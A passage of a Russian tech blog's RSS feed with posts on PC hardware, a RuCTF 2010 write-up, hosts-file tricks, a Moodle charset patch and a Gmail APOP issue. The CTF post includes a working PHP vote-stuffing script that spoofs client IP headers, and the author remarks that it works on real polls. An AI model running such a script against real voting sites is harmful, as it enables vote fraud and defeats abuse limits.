<p>Занимаясь бесконечной прикидкой и расчетами экономической целесообразности, я выявил для себя формулу допустимых колебаний цен или максимально приемлемого уровня отклонений. Например, при сумме в 1 рубль не критично +- 10 копеек. При сумме в 10 рублей, можно пренебречь рублём ровно. При ста рублях десятка роли не играет. Я думаю, зависимость понятна, формула выглядит как SUMM/10=+-optimus_dif. Поэтому ставя планку в 30К, я готов потратить реальных 33. Но никак не 45. На сегодняшний день разница в 10 тысяч это огромная пропасть для моего кошелька. Cегодняшний выбор в пользу платформы AMD. Я вижу, что немного не укладываюсь в 33 тысячи, но обязательно в них впишусь, покупая товар в нужных местах в нужное время <img src='../wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  А ещё можно заменить выбранный процессор на AMD Athlon II X3 425, который при удачном стечении обстоятельств может превратиться в AMD Phenom II x4 925, а обойдется всего в 2500 рублей. То есть удешевит мою конфигурацию ещё на две тысячи. Можно пересмотреть ещё блок питания и жесткий диск. Остальное трогать рука не поднимется, всё оптимально.</p>
<p>Единственное, я не определился с корпусом. Потому как ещё не пришло осознание реальных потребностей. Возможно, накидаю небольшой обзорчик.</p>
<p>Прогноз для компании Intel в сегменте процессоров для настольных ПК не сильно утешительный, кажется Intel загоняет себя в ловушку. Экстремально производительные шестиядерные процессоры, уже проанонсированы восьмиядерные и всё это за бешенные деньги. Кому это нужно?? Где такие мощности востребованы?? Поэтому на ближайший год-два рынок 4-6 ядерных процессоров должна захватить AMD. Для сведения, появилась неофициальная информация о процессоре Phenom II X6 1055T (2,8 ГГц, 6 ядер, наличие аналога технологии Intel Turbo Boost, TDP 125 Вт) по цене 199$ (всего!), с грандиозным потенциалом апгрейда. А дальше, когда появится потребность, AMD начинает производство процессоров 32-нм чипов, наверняка подвинув Intel и в этой нише (предварительно 2011 год). Какой процент и сегмент рынка займет Intel пока не понятно. Надеюсь AMD не закроет глаза на людей, выбравших её сегодня, и оставит обратную совместимость в процессорах под AM3r2. Процессор следующего поколения под кодовым названием Buldozer (ожидается в 2011 году) согласно роадмапу компании AMD должен иметь совместимость с AM3.</p>
<p>Мораль сей басни такова, не гонись за брендом, а следуй здравому смыслу. Поэтому сегодня AMD.</p>
]]></content:encoded>
			<wfw:commentRss>/life-rc/kakoj-kompter-ya-kupil-by-segodnya-dlya-doma/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>RuCTF 2010 Quals. Задание CTB 100.</title>
		<link>/codebear/ructf-2010-quals-zadanie-ctb-100/</link>
		<comments>/codebear/ructf-2010-quals-zadanie-ctb-100/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 16:55:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code Bear]]></category>
		<category><![CDATA[Life.rc]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[ructf2010]]></category>
		<category><![CDATA[лайфхак]]></category>

		<guid isPermaLink="false">/codebear/ructf-2010-quals-zadanie-ctb-100/</guid>
		<description><![CDATA[Практически случайным, но попутным ветром меня закинуло в отборочный этап соревнований RuCTF 2010. Это был не традиционный Capture the flag, а специальные задания, успешное выполнение которых отделяло лузеров от вынеров =) А дальше самых вынеров в финал RuCTF. Задания раскиданы по категориям: Admin (задания на администрирование), CTB (хакинг сайтов), Crypto  (криптография), Forensics (судебная экспертиза), [...]]]></description>
			<content:encoded><![CDATA[<p>Практически случайным, но попутным ветром меня закинуло в отборочный этап соревнований RuCTF 2010. Это был не традиционный Capture the flag, а специальные задания, успешное выполнение которых отделяло лузеров от вынеров =) А дальше самых вынеров в финал RuCTF. Задания раскиданы по категориям: Admin (задания на администрирование), CTB (хакинг сайтов), Crypto  (криптография), Forensics (судебная экспертиза), JoyStory (развлекательная ветка, творческие задания), PPC (программирование), Reverse (дебаг, отладка приложений), Stegano (стеганография). В каждой категории по 5 заданий, расположенных в порядке увеличения числа заработанных очков за его решения. От 100 до пятисот с шагом в 100 соответственно. При этом, глядя на scoreboard (там показывается сколько человек уже решило задание) не могу сказать, что сложность заданий адекватна количеству очков за его выполнения. </p>
<p>В силу специфики моих увлечений решить хотя бы одну задачу было делом чести =) Как-то с ходу налетел на CTB 100. CTB означает Crack the Box. На отдельном домене якобы ведется голосование за твою команду и твоя задача обеспечить ей проходной был выше определенного порога голосов. Естественно голосов нужно не 3 и даже не десять, при этом система запоминает IP адрес проголосовавшего =) Сразу был запущен FireFox с плагином LiveHTTPHeaders и первый голос-пакет был успешно зафиксирован.<br />
<span id="more-118"></span><br />
Естественно процесс голосования предполагал автоматизацию процесса. Как-нибудь я обязательно покажу свой собственный каркас модуля для автоматических регистраций, но для решения данной задачи оттуда была взята лишь одна функция и та в последствии была обрезанная до уровня базовых операторов. Собственно, вот код:</p>
<blockquote><p>
<?php<br />
   // set_time_limit(0);<br />
    error_reporting(7);</p>
<p>	for ($i=1;$i<>250;$i++) {<br />
        $socket = fsockopen(&#8220;voteme.quals2010.ructf.org&#8221;, 80, $errno, $errstr, 30);<br />
        if(!$socket)<br />
            {<br />
                echo $errstr($errno);<br />
                    //echo &#8221; Mlya, oblom. Gladi fsockopen..&#8221;;<br />
            }<br />
            else<br />
            {<br />
                //echo &#8220;Connect OK!&#8221;;</p>
<p>                fputs($socket, &#8220;POST / HTTP/1.1\r\n&#8221;);<br />
                fputs($socket, &#8220;Host: voteme.quals2010.ructf.org\r\n&#8221;);<br />
                fputs($socket, &#8220;X-Forwarded-For: 172.16.3.&#8221;.$i.&#8221;\r\n&#8221;);<br />
                fputs($socket, &#8220;X-Real-Ip: 172.16.3.&#8221;.$i.&#8221;\r\n&#8221;);<br />
//                fputs($socket, &#8220;Connection: close\r\n&#8221;);   //Connection: keep-alive in original POST detected )) \r\n<br />
                fputs($socket, &#8220;Referer: http://voteme.quals2010.ructf.org/\r\n&#8221;);<br />
                fputs($socket, &#8220;Content-Type: application/x-www-form-urlencoded\r\n&#8221;);<br />
                fputs($socket, &#8220;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n&#8221;);<br />
                fputs($socket, &#8220;Content-Length: 7\r\n\r\n&#8221;);<br />
                fputs($socket, &#8220;team=47&#8243;);</p>
<p>/*                while(!feof($socket))<br />
                {<br />
                    $res .= fgets($socket);<br />
                }<br />
                fclose($socket);<br />
//sleep(1); */<br />
        }<br />
       echo $i,&#8221;<br/>&#8220;;//,$res;<br />
	}<br />
?>
</p></blockquote>
<p>Изюминкой безусловно является момент подделывания ip-адресов. Без этого мои голоса не засчитывались и впустую были отправлены десятки тысяч запросов, а может и не впустую. Но как видно по скрипту, никаких проксей он не использует, а лишь имитирует)) Также определенным нюансом является наличие Connection: keep-alive. Сперва я сменил его на Close, а потом вообще закомментировал от греха подальше. Естественно проверка Referer в наличии.</p>
<p>Очень смешно выглядят попытки других команд натурально накрутить голоса, мольбами на весь рунет отдать за них свои голоса. Некоторые фанаты даже писали похожие голосовалки, но игнорировали специфику конкурса и скатывались к обычным проксям. Я бы за такое снимал с конкурса. Совет организаторам &#8211; сразу фильтровать ip-адреса членов команды от ip-адресов всяких левых Васей в пижаме. Или проводить голсование так, как оно бы проводилось в реальной жизни, с баном участника голосования за накрутку.</p>
<p>Задача была решена единолично практически с ходу, минут за 30, принеся команде долгожданные первые сто баллов! А вот дальше как-то не сложилось)) То ли хватались, то за это, то за то&#8230; В общем, настрой пропал. И даже ветку JoyStory просто слили, не заработав там баллов. Последние сутки уже просто забили на конкурс. Итог конечно печальный, 40 место из 47 комманд, но потенциал есть и его надо развивать. Несколько хороших мыслей по решению заданий пришло в голову, но развивать их было уже не с кем. На самом деле, думаю, реально было замкнуть десятку, просто рано опустили руки.</p>
<p>Скрипт между делом можно реально использовать для накрутки голосований, метода думаю всем понятна, остальное вопрос навыков.</p>
]]></content:encoded>
			<wfw:commentRss>/codebear/ructf-2010-quals-zadanie-ctb-100/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Как работать из дома с ресурсами которые доступны только внутри корпоративной сети??</title>
		<link>/life-rc/kak-rabotat-iz-doma-s-resursami-kotorye-dostupny-tolko-vnutri-korporativnoj-seti/</link>
		<comments>/life-rc/kak-rabotat-iz-doma-s-resursami-kotorye-dostupny-tolko-vnutri-korporativnoj-seti/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 11:43:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life.rc]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[hosts]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[nslookup]]></category>
		<category><![CDATA[лайф-хак]]></category>

		<guid isPermaLink="false">/life-rc/kak-rabotat-iz-doma-s-resursami-kotorye-dostupny-tolko-vnutri-korporativnoj-seti/</guid>
		<description><![CDATA[Очень часто мы жестко привязаны к компьютеру и к интернету. И беда не в этом факте, а в том что мы привязаны к конкретному компьютеру. Как правило &#8211; это компьютер на вашем рабочем месте. Естественно он подключен к корпоративной рабочей сети. И необходимые ресурсы для работы соотвественно тоже находятся в корпоративной сети и доступны только [...]]]></description>
			<content:encoded><![CDATA[<p>Очень часто мы жестко привязаны к компьютеру и к интернету. И беда не в этом факте, а в том что мы привязаны к конкретному компьютеру. Как правило &#8211; это компьютер на вашем рабочем месте. Естественно он подключен к корпоративной рабочей сети. И необходимые ресурсы для работы соотвественно тоже находятся в корпоративной сети и доступны только из неё. Вы бы и рады уйти домой пораньше, чего-нибудь там перекусить и с чашкой горячего кофе преспокойно доделать начатое дома&#8230; Но ресурс из дома недоступен.. поэтому мы будем сидеть на работе до ишачей пасхи. Что-то не здоровое в такой ситуации.</p>
<p>В этом вопросе может присутствовать огромное множество нюансов и деталей, которые могут нам подыграть или наоборот развеять все наши надежды. К сожалению, описать все пожалуй невозможно, но про один из вариантов расскажу. Сразу откинем варианты связанные с RDP и его вариации. Будем играть голыми руками =)<br />
<span id="more-117"></span><br />
Предположим, вам необходим доступ из дома к корпоративному порталу corpdomain.local. Давайте поглядим как определяется его ip-адрес корпоративной сети, обычно для этого используют команду/программу/утилиту nslookup. Предположим, адресу corpdomain.local соотвествует внешний ip-адрес. Если на этом веб-сервере крутится всего один сайт &#8211; вам уже повезло. Можно попробовать сразу вставить ip в браузер. Если делали адекватные программистах и вам хоть немного везет &#8211; работать будет. Если там несколько сайтов, то запрос будет направлен на домен который идёт самым первым в конфигурации (для Apache при использовании include для подключения виртуальных хостов преобладает алфавитная очередность). Если по прямому ip-адресу не вышло &#8211; читаем дальше.</p>
<p>Естественно, дома у вас своя сеть, свой провайдер и значит свой DNS-сервер, который наверняка отличен от корпоративного. Из вывода nslookup можно почерпнуть информацию о корпоративном DNS-сервере. Нас интересует его адрес. Опять-таки, если там внешний ip-адрес, то смело втыкаем его в свойствах используемого подключения. После этого на домашнем компьютере набираем в браузере corpdomain.local. С большой долей вероятности вы должны увидеть тоже самое что и на работе =)</p>
<p>И рассмотрим третий вариант. Корпоративный портал на внешнем ip-адресе, DNS-сервер на внутреннем. Веб-сервер при обращении по прямому адресу возвращает не то что нам нужно (например сайт/портал принадлежащий компании, но не тот что нам нужен ), а при вводе доменного имени выводит вообще что-то не понятное: возможна ошибка &#8220;Домен не найден&#8221; или &#8220;Таймаут ответа сервера истек&#8221;, или просто какая-то непонятная реклама. В этом случае необходимо, что бы Ваш домашний компьютер корректно определял ip-адрес портала для того чтобы впоследствии браузер корректно формировал поле Host HTTP-пакета. В UNIX-системах существует файл nsswitch.conf который отвечает за порядок опроса источников данных в качестве &#8220;серверов имён&#8221;, но главное, что во всех системах преимущество имеет локальная база данных, находящая в файле hosts. Путь выглядит %WINDIR%/system32/drivers/etc/hosts и просто /etc/hosts для Windows и UNIX систем соответственно (заценили совпадение?). Вот его и необходимо поправить. Там наверняка уже будет запись вида<br />
127.0.0.1		localhost<br />
По аналогии добавляем запись для corpdomain.local. Обычно, изменения вступают в силу сразу. После этого ваш браузер должен &#8220;корректно&#8221; определять ip и направлять пакеты туда куда нужно.</p>
<p>Встречаются различные вариации данного метода, например, внутри локальной сети веб-сервер имеет внутренний ip адрес, nslookup показывает внутренний ip для данного домена. Это значит что теоретически получить доступ извне у вас не получится. Однако, на практике, может иметь место проброс в локальную сеть и всё пойдёт по уже описанной схеме. </p>
<p>Не знал куда постить &#8211; решил в рубрику про жизнь. Потому как это скорее небольшой лайф-хак, нежели что-то попадающее в иную рубрику справа =) </p>
]]></content:encoded>
			<wfw:commentRss>/life-rc/kak-rabotat-iz-doma-s-resursami-kotorye-dostupny-tolko-vnutri-korporativnoj-seti/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lekhonee &#8211; блоггинг клиент для WP в Linux</title>
		<link>/wp-world/lekhonee-blogging-klient-dlya-wp-v-linux/</link>
		<comments>/wp-world/lekhonee-blogging-klient-dlya-wp-v-linux/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 14:01:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[WP-World]]></category>
		<category><![CDATA[blogging client]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[lekhonee]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">/?p=115</guid>
		<description><![CDATA[Это экспериментальная запись. В Центре приложений Ubuntu (9.10 Karmic Koala) абсолютно случайно наткнулся на клиент блоггинга Wordpress. Называется Lekhonee. Изначально lekhonee имел версию только для KDE, однако на сейчас существуют версии для двух фронтэндов, написанных на PyKDE4 и pygtk соответственно. Поэтому былые комментарии в духе &#8220;Данунах: он половину кед за собой тянет&#8221; более не актуальны. [...]]]></description>
			<content:encoded><![CDATA[<p>Это экспериментальная запись. В Центре приложений Ubuntu (9.10 Karmic Koala) абсолютно случайно наткнулся на клиент блоггинга Wordpress. Называется Lekhonee. Изначально lekhonee имел версию только для KDE, однако на сейчас существуют версии для двух фронтэндов, написанных на PyKDE4 и pygtk соответственно. Поэтому былые комментарии в духе &#8220;Данунах: он половину кед за собой тянет&#8221; более не актуальны. Вещь конечно не первой необходимости, но наверняка многих смущают возможности постинга в самой админке.</p>
<p>Я сам вообще не очень доверяю веб-интерфейсам. Мне не всегда понятна логика интерпретации вводимых символов, особенно в новомодных навороченных интерфейсах. Вводишь HTML-код и думаешь, порежет он и его или нет?? Выкладываешь листинг и думаешь, а как он его отформатирует. А бывает и своё добавляет. Есть такие расстыковки практически во всех WYSIWYG-редакторах.</p>
<p>Например, у меня дома практически нереально &#8220;сидеть на одноклассниках&#8221;. Весь мыслимый функционал перенесли на сторону клиента. Я не сторонник таких решений, должна быть золотая середина. В итоге, не худшая в общем-то машинка страшно тормозит на такой простенькой задачке. Под не худшей машинкой я подразумеваю Intel Celeron 1100, 128*3 MB оперативной памяти, Nvidia GeForce 4 MX400 64MB, LAN-подключение к Интернет на скорости 480 кбит/сек. Ни один сайт не должен тормозить на такой системе. На практике получается абсолютно наоборот: тормозит и вешает всю систему всего один сайт. На всех браузерах картина идентичная, единственное, ощутимое отличие в лучшую сторону отмечается в огнелисе под ALT Linux, уж не знаю что они там подкрутили. </p>
<p>Очень долгое время сидел на GPRS-модеме и прекрасно представляю что значит платить по трафику =) Это ещё один минус. Особенно постинг из админки WP. Клиентский интерфейс с вашей машины периодически отсылает информацию о ваших действиях. И конечно это всё вытекает в многоразовое увеличение объемов трафика.</p>
<p>В конце-концов, в том же WP, писать посты не совсем удобно. Потому что на 17-дюймовых мониторах при разрешении 1024*768 место под ввод непосредственно текста остается совсем немного. А когда из-за несовместимости с тем или иным браузером (или даже билдом браузера) что-то начинает ехать &#8211; тут вообще туши свет. Легко можно убить плоды часовых стараний.<br />
<span id="more-115"></span><br />
Конечно, не всё всегда так плохо, но на установленный Lekhonee я определенно смотрю с интересом. После запуска Ликхони (надеюсь читается действительно так) запрашивает адрес, логин и пароль вашего блога. <strong>Важно!! Lekhonee взаимодействует с вашим блогом посредством XML-RPC. В общем-то, это Вас ни к чему не обязывает, просто не забудьте предварительно включить эту возможность в админке.</strong></p>
<p>Если всё настроено и введено вверно, то сразу после ввода необходимых реквизитов слева появятся категории Вашего блога. Так и проскакивает аналогия &#8220;Есть контакт!&#8221;. Тут вам сразу и окно для ввода на весь экран, и кнопки форматирования текста (которые уже точно никуда от вас не уедут), и экономия трафика. В общем, с первого взгляда &#8211; всё хорошо. Со второго взгляда обращаем внимание на наличие проверки орфографии (у меня поддерживается английский и русский, но не смесь)). Также видим поле позволяющее добавить новую рубрику, определить тэги (tags) поста, сохранить пост как черновик, кнопка предварительного просмотра, ну и самое главное &#8211; опубликовать. Интерфейс не русифицирован. Тут-то русифицировать особенно нечего, два десятка слов и без того интуитивно понятных, но всё равно ощущение недоделанности. </p>
<p>При установке сразу обращаем внимание на версию. Для многих это практически показатель качества программы. Я сейчас пишу из под версии 0.7. Много это или мало?? Скорее всё-таки мало, потому как функции форматирования текста ограничены тегами strong, bold, italic, underline; возможностью вставки картинки (без возможности её загрузки на сервер). Режим Preview вместо отображения непосредственно в шаблоне блога просто отображает с интерпретацией ваших html-тэгов. То есть получается достаточно аскетично. Но за возможность самостоятельного ввода HTML-тэгов &#8211; плюсик. </p>
<p>Основной ложкой дёгтя является автоматическая вставка рекламы в Ваш пост в конце каждого сообщения, но эта кака отключается ровно в два клика: Edit -> lekhonee msg. Я сразу отключил, этим постом обойдется <img src='../wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Кстати, обратил внимание, сам автор пишет о своем продукте то с большой, то с маленькой буквы. На сайте проекта в тексте страниц &#8211; с большой, а в тайтле &#8211; с маленькой. Тоже особенность.</p>
<p>Самое интересное находится в нижней части клиента. Там находятся табы показывающие, с какой системой в настоящий момент работает Lekhonee. Сейчас достуна всего одна вкладка &#8211; Wordpress. А сама панель отмечена меткой For Future use. Если будет кросспостинг &#8211; вообще будет шикарно. В работоспособности этого десктопного WP-клиента сомневаться не приходиться. Моя оценка &#8211; 78 из 100.</p>
<p>PS. Из реально нужного забыли про кат для обрезки/создания анонса.</p>
]]></content:encoded>
			<wfw:commentRss>/wp-world/lekhonee-blogging-klient-dlya-wp-v-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Письма от Moodle в кривой кодировке??</title>
		<link>/moodle/pisma-ot-moodle-v-krivoj-kodirovke/</link>
		<comments>/moodle/pisma-ot-moodle-v-krivoj-kodirovke/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 19:54:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Moodle]]></category>
		<category><![CDATA[charsets]]></category>
		<category><![CDATA[OpenWebMail]]></category>
		<category><![CDATA[кодировка]]></category>
		<category><![CDATA[учебный портал]]></category>

		<guid isPermaLink="false">/?p=113</guid>
		<description><![CDATA[Moodle успешно работает уже более года. Как-то незаметно мы пересекли эту границу. За это время более-менее разобрались с основным функционалом, сейчас потихоньку работаем над увеличением предоставляемых возможностей и устранением имеющихся &#8220;шероховатостей&#8221;. Всё-таки это очень жизнеспособная платформа. Немного удивляют периодические предложения сделать из учебного портала гламурный сайт =) Почему-то забывают об общей концепции системы, её назначении, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Moodle успешно работает уже более года.</strong> Как-то незаметно мы пересекли эту границу. За это время более-менее разобрались с основным функционалом, сейчас потихоньку работаем над увеличением предоставляемых возможностей и устранением имеющихся &#8220;шероховатостей&#8221;. Всё-таки это очень жизнеспособная платформа. Немного удивляют периодические предложения сделать из учебного портала гламурный сайт =) Почему-то забывают об общей концепции системы, её назначении, хотят из кареты сделать тыкву. От таких посягательств пока что успешно отбиваемся.</p>
<p>Хотя, положив руку на сердце, пора бы уже что-то решить с дизайном. Используемый стандартный шаблон давно отстал от современных требований эргономики. Не те цвета, не там кнопки, да и просто криво интерпретируется браузерами. Устарел он. Тут съехало, там поплыло.. и без валидатора всё понятно =)</p>
<p>Но это заметки на будущее. Сейчас разговор пойдёт об отправляемых системой Moodle письмах. А точнее их кодировке.<span id="more-113"></span> Moodle может использовать оповещение пользователей учебного портала посредством электронной почты. Может это делать в зависимости от событий: размещение новых материалов в курсе, новости портала, новое личное сообщение в профиле. При этом может сыпать несколькими письмами, либо одним &#8220;дайджестом&#8221; за день. Всё логично.</p>
<p>Настраивается это в панели администрирования: Сервер ▶ Email и частично в профиле пользователя (если разрешите =). Всё очень грамотно раскидано. Кроме одного &#8211; пункт Character set (да-да, административная панель только на первый взгляд русифицированная).</p>
<p>Вроде присутствует UTF-8. В общем случае это означает, что не должно быть проблем с русским языком. Однако, всплыла проблема кривого отображения писем от учебного портала на базе Moodle в корпоративном веб-интерфейсе на базе OpenWebMail. При этом для отображения кириллицы интерфейс использует кодировку KOI8-r. Как вы думаете как выглядит UTF8-письмо в подобном интерфейсе?? Правильный ответ &#8211; криво. Будет время &#8211; выложу скрины.</p>
<p>Конечно, в OpenWebMail при просмотре тела письма присутствует преобразователь кодировки письма, но какому пользователю интересно вручную выбирать преобразование UTF-8 &gt; KOI8-R?? Поверьте, ещё менее увлекательно объяснять это по телефону любознательным пользователям.</p>
<p>В общем-то понятно, что эта проблема настигает любой веб-интерфейс который отображается не в UTF-8. Например, много раз сталкивался с рекомендациями принудительно переводить RoundCube c UTF на CP1251. Да, там свой механизм конвертации, но всё-таки, надо осознавать зачем вы это делаете и чем это грозит. При этом стационарная почтовая программа-клиент (Thunderbird, TheBat, M2 OperaMail etc, Outlook etc) корректно распознают UTF и соответственно никаких проблем нет.</p>
<p>Логично, что стационарные клиенты без проблем разгребут и любую другую кодировку, а вот интерфейс будет корректно отображать исключительно письма в KOI8-R. Это ключевой момент в решении проблемы. Кодировка отправляемых учебным порталом Moodle писем должна быть KOI8-R. А в административной панели такого варианта нет =) В этом и засада.</p>
<p>Давайте разбираться. Возможные кодировки письма хранятся в переменной sitemailcharset. Разработчики Moodle хорошие люди, поэтому подписывают наклоненным мелким сереньким шрифтом имя переменной к каждому объекту интерфейса, содержащему сколь-нибудь значащие данные. Обычно немного ниже основной подписи к полю/форме/кнопке/списку. Эта фишка очень сильно упрощает жизнь, поэтому хорошо о ней знать и всегда помнить <img src='../wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Далее производим поиск по исходникам по вхождению sitemailcharset. Более всего меня заинтересовал файл lib/moodlelib.php. А именно код с достаточно красноречивыми комментариями:<br />
<code>/// If we are running under Unicode and sitemailcharset or allowusermailcharset are set, convert the email<br />
/// encoding to the specified one<br />
if ((!empty($CFG-&gt;sitemailcharset) || !empty($CFG-&gt;allowusermailcharset))) {<br />
/// Set it to site mail charset<br />
$charset = $CFG-&gt;sitemailcharset;<br />
/// Overwrite it with the user mail charset<br />
if (!empty($CFG-&gt;allowusermailcharset)) {<br />
if ($useremailcharset = get_user_preferences('mailcharset', '0', $user-&gt;id)) {<br />
$charset = $useremailcharset;<br />
}<br />
}<br />
/// If it has changed, convert all the necessary strings<br />
$charsets = get_list_of_charsets();<br />
unset($charsets['UTF-8']);<br />
if (in_array($charset, $charsets)) {<br />
/// Save the new mail charset<br />
$mail-&gt;CharSet = $charset;<br />
/// And convert some strings<br />
$mail-&gt;FromName = $textlib-&gt;convert($mail-&gt;FromName, 'utf-8', $mail-&gt;CharSet); //From Name<br />
foreach ($mail-&gt;ReplyTo as $key =&gt; $rt) {                                      //ReplyTo Names<br />
$mail-&gt;ReplyTo[$key][1] = $textlib-&gt;convert($rt[1], 'utf-8', $mail-&gt;CharSet);<br />
}<br />
$mail-&gt;Subject = $textlib-&gt;convert($mail-&gt;Subject, 'utf-8', $mail-&gt;CharSet);   //Subject<br />
foreach ($mail-&gt;to as $key =&gt; $to) {<br />
$mail-&gt;to[$key][1] = $textlib-&gt;convert($to[1], 'utf-8', $mail-&gt;CharSet);      //To Names<br />
}<br />
$mail-&gt;Body = $textlib-&gt;convert($mail-&gt;Body, 'utf-8', $mail-&gt;CharSet);         //Body<br />
$mail-&gt;AltBody = $textlib-&gt;convert($mail-&gt;AltBody, 'utf-8', $mail-&gt;CharSet);   //Subject<br />
}<br />
}</code><br />
Последующий код не имеет значения для решения задачи. Отметим, что по умолчанию письма генерируются в UTF-8, затем выставленная кодировка (в административной панели или профиле пользователя, если разрешено) сверяется с массивом доступных кодировок $charsets и происходит конвертация.</p>
<p>Если Вы экстремал, можете втихую потрещать и кастрировать код прямо в функции convert, заменив $mail-&gt;CharSet на угодную кодировку (у вас должен отвалиться функционал выбора кодировки в административной панели). За результат не ручаюсь, я не отношу себя к экстремалам, поэтому обратил внимание на функцию get_list_of_charsets(). В этом же файле, только ниже.</p>
<p>Собственно, после незначительной правки функция приняла вид:<br />
<code>/**<br />
* Returns a list of charset codes. It's hardcoded, so they should be added manually<br />
* (cheking that such charset is supported by the texlib library!)<br />
*<br />
* @return array And associative array with contents in the form of charset =&gt; charset<br />
*<br />
*  KOI8-R support for Moodle added and tested by www.it-mutant.ru<br />
*/<br />
function get_list_of_charsets() {</p>
<p>$charsets = array(<br />
'EUC-JP'     =&gt; 'EUC-JP',<br />
'ISO-2022-JP'=&gt; 'ISO-2022-JP',<br />
'ISO-8859-1' =&gt; 'ISO-8859-1',<br />
'SHIFT-JIS'  =&gt; 'SHIFT-JIS',<br />
'GB2312'     =&gt; 'GB2312',<br />
'GB18030'    =&gt; 'GB18030', // gb18030 not supported by typo and mbstring<br />
'UTF-8'      =&gt; 'UTF-8',<br />
'KOI8-R'     =&gt; 'KOI8-R');</p>
<p>asort($charsets);</p>
<p>return $charsets;<br />
}</code><br />
Теперь лезем в админку и.. Чудо!! Появилась возможность выбрать кодировку KOI8-R для отправлемых писем =) С чего бы это <img src='../wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Работает железно. Судя из авторских комментариев крайне желательно чтобы добавляемая кодировка поддерживалась расширением mbstring (если у вас PHP &lt; 5.0 &#8211; сочувствую, скорее всего вообще недоступно) и редактором typo. Если кого-то интересует CP1251 &#8211; не парьтесь, всё в норме. Насчет других &#8211; проверьте, мало ли.</p>
<p>Для проверки корректности работы я использовал внутреннюю систему сообщений Moodle, при этом не забудьте в профиле пользователя указать время после которого высылается сообщение (я поставил 1 минуту) и учтите что отсылка сработает по крону (который вы должны были установить для портала после установки <img src='../wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Если кто-то захочет набросать плагин для установки дополнительных кодировок на основе данной информации, дайте знать, можем потрудиться совместно <img src='../wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>/moodle/pisma-ot-moodle-v-krivoj-kodirovke/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>В почтовой службе Gmail by Google изменен алгоритм забора сообщений со сторонних почтовых серверов</title>
		<link>/mail-system/v-pochtovoj-sluzhbe-gmail-by-google-izmenen-algoritm-zabora-soobshhenij-so-storonnix-pochtovyx-serverov/</link>
		<comments>/mail-system/v-pochtovoj-sluzhbe-gmail-by-google-izmenen-algoritm-zabora-soobshhenij-so-storonnix-pochtovyx-serverov/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 13:27:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mail system]]></category>

		<guid isPermaLink="false">/?p=109</guid>
		<description><![CDATA[18 декабря что-то ударило в голову разработчикам сборщика почты в Gmail (функция имеет оригинальное название POP3 mail fetching). Не знаю какою природу/градус имеет это что-то, но отныне почта от Google использует APOP в качестве первичного средства авторизации на стороннем почтовом сервере при заборе сообщений по протоколу POP3.
Подобные изменения породили неожиданные проблемы. Стали поступать жалобы о [...]]]></description>
			<content:encoded><![CDATA[<p>18 декабря что-то ударило в голову разработчикам сборщика почты в Gmail (функция имеет оригинальное название POP3 mail fetching). Не знаю какою природу/градус имеет это что-то, но отныне почта от Google использует APOP в качестве первичного средства авторизации на стороннем почтовом сервере при заборе сообщений по протоколу POP3.</p>
<p>Подобные изменения породили неожиданные проблемы. Стали поступать жалобы о том, что письма более не забираются с ящиков aspu.ru, соответственно более не доставляются в Gmail. Сперва я просто не верил в существование проблемы. При этом недовольные пользователи долго сбивали с толку говоря что у них &#8220;не работает редирект&#8221;.</p>
<p>По неподтвержденным данным (со слов пользователей) подобным образом изменили алгоритм работы и другие крупные почтовики, такие как Yandex и Mail. Если у вас похожие симптомы &#8211; обязательно читаем дальше<br />
<span id="more-109"></span><br />
Строго говоря, APOP является необязательным расширением, о чем явно говорится в RFC 1939 (APOP Command находится в секции Optional POP3 Commands). Так какого лешего Gmail вдруг стал пытаться аутентифицироваться именно по нему?? Непонятно. У нас plaintext авторизация &#8211; команда USER/PASS, тоже опциональные кстати.</p>
<p>С другой стороны, имеется определенная вина нашего POP3 сервера, который дает повод &#8220;думать&#8221;, что он имеет настроенную APOP авторизацию. В частности, признак поддержки APOP недвусмысленно определен в RFC 2449. Там написано: &#8220;Clients discover server support of APOP by the presence in the greeting banner of an initial challenge enclosed in angle brackets (&#8220;&lt;&gt;&#8221;). Смотрим что у нас:<br />
<code>neoadmin@422-linux:~$ telnet mail.aspu.ru 110<br />
Trying 62.183.105.228...<br />
Connected to mail.aspu.ru.<br />
Escape character is '^]'.<br />
+OK</code><br />
Вот такая засада. Работа POP3 сервера обеспечивается демоном tpop3d, который очень неплохо работает уже не первый год. При попытке авторизации по APOP в лог попадает такая ошибка:<br />
<code>Dec 29 13:26:57 aspu tpop3d[84134]: auth_mysql_new_apop: mysql_query: Table 'postfix.popbox' doesn't exist<br />
